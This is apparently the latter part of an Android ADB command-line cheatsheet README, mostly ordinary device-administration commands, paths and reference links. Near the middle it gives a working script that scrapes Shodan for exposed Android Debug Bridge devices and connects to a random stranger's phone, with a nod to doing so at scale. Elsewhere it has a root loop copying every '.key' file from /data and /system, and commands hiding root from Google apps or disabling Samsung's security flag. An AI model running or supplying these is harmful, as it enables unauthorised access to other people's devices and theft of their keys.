TZ=UTC date -d@$(cut -d\ -f1 /proc/uptime) +'%j %T' \
|awk '{print $1-1"d",$2}'
/data/ssh
/data/adb/magisk
/data/data/<package>/databases (app databases)
/data/data/<package>/shared_prefs/ (shared preferences)
/data/app (apk installed by user)
/system/app (pre-installed APK files)
/mmt/asec (encrypted apps) (App2SD)
/mmt/emmc (internal SD Card)
/mmt/adcard (external/Internal SD Card)
/mmt/adcard/external_sd (external SD Card)
Commands for rooted devices
which su &> /dev/null
if [[ $? = "0" ]]; then
echo "Device Rooted:
else
echo "Device Rooted: No"
fi
adb shell am force-stop \
/data/data/com.google.android.apps.walletnfcrel
## Hide root for Google applications:
for google_apps in $(cmd package list packages|grep -i com.google |cut -d: -f2); do
magiskhide add ${google_apps};
done
## Change permissions on dg.db to read-and-write:
su sh -c chmod 0777 /data/data/com.google.android.gms/databases/dg.db
# Now change permissions on dg.db to 0444
chmod 0444 /data/data/com.google.android.gms/databases/dg.db
for i in `"su -c find /data /system -name '*.key'"`; do
mkdir -p ".`dirname $i`";"su -c cat $i" > ".$i";
done
Find out happens when we remove below file
rm /data/misc/bootstat/boot_complete?
..... will be added very soon.
/sbin/magisk magiskhide enable
/sbin/magisk magiskhide list
/sbin/magisk magiskhide add com.package
Samsung
Bypass Samsung Health block on rooted samsung devices (Old Method, wont work on latest updates from samsung health)
mount -o rw,remount /system/etc/mkshrc
sed -i 's/ro.config.tima=1/ro.config.tima=0/g' build.prop
mount -o rw,remount /
printf '%s\n' \
# Fix for smartview on rooted devices, android 12" \
wlan.wfd.hdcp=disable" >> /system/build.prop
reboot
adb shell screencap /storage/emulated/0/Pictures/screenshot.png
adb shell screenrecord --time-limit 10 /storage/emulated/0/Video/record.mp4
adb connect <ip>:<port>
- Plugin USB and execute
adb tcpip 5555
- Remove USB Cable and connect to your device via network:
adb connect <ip>:5555
- Now you can work with your device via network, enter shell as usual:
adb shell
⚠ WARNING: *Don't forget to
DISCONNECT
when you have finished debugging. You can be in danger and may be listed at shodan.io and other sites similiar to shodan if you will keep tcpip be running in background. We can find your device via a simple portscan via masscan or similiar tools, so use below command when you are done in shell:
adb disconnect
To show you the danger with keep tcp mode running, for more tips to stay safe you can visit the below url for get latest commands since some are out of date I see here:
https://wuseman.github.io/adb-cheatsheet/
- You can copy and paste in any terminal and you are connected to a random device that has tcpip running without device owners knowledge, there is no way to figure out wihtout list connected devices ON the device. Therefore, take my warning seriously! Within ~1-3 seconds you have connected to a device.
Now imagine if we use xargs -n1 -P20, then we connect to 20 device at same time. So be careful!!
# Port for ABD
PORT="5555"
# Shodan FILTER:
FILTER="android+debug+bridge"
# Source URL:
TARGETS="https://www.shodan.io/search?query=${FILTER}"
function findTargets() {
curl -sL ${TARGETS}|awk '!seen[$0]++' \
|grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" \
|awk '!seen[$0]++' |tee wadb-attack.log
}
function adbConnect() {
grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" wadb-attack.log \
|sed 's/$/:5555/g'|tee target.txt
shuf -n1 target.txt \
|xargs adb connect
}
findTargets
adbConnect
Above script is shared for educational purposes, wuseman cannot be held responsible for other users' use of the above script
// wuseman
- wuseman - Samsung Galaxy A10
- wuseman - Samsung Galaxy A10
- wuseman - Samsung Galaxy A5
- wuseman - Samsung Galaxy S10
- wuseman - Samsung Galaxy S8
- wuseman - Samsung Galaxy Xcover 4
- wuseman - Motorola Moto E4 Plus
- wuseman - Huawei MediaTab T5
- wuseman - LG G6
For Working with Android devices via commandline
- Android™ Developer - Emulator Console
- Android™ Developer - Write your app
- Android™ Google Source - Source Code
- Android™ Google Source - CMD Command
- Android™ Generic Project
- Android™ GDB
- Android™ Source - Understand Logging
- Android™ Source - Network Connectivity Tests
- Android™ Platform Tools
- Github Randorise - Mobile Hacking CheatSheet
- Mazhuang - Awesome ADB - Another Cheatsheet Wiki
- Jfsso - Preferences Editor
- Nahamsec - Resources For Beginner - Bug Bounty Hunters
- Raywenderlich -Forensic Artifacts
- Noobsec - Bypass Fingerprint Lock In Just 1 Second
- Noobsec - Cara Reverse Engineering
- Oracle- JVMS
- Tjtech - Analyze OEM Unlocking Under Android
- U'Smile - How to change the IMEI on Android devices
- Android™ Q Navigation - Gesture Controls
- Good review for clipboard control
- wuseman [email protected]
Android Nr1 nu wiki is licensed under the GNU General Public License v3.0 - See the LICENSE.md file for details
- Glad you made it until the end of this README, I hope you found something useful here and
- now you have taken a step closer to becoming a master in working with androdi debug shell via commandline
// wuseman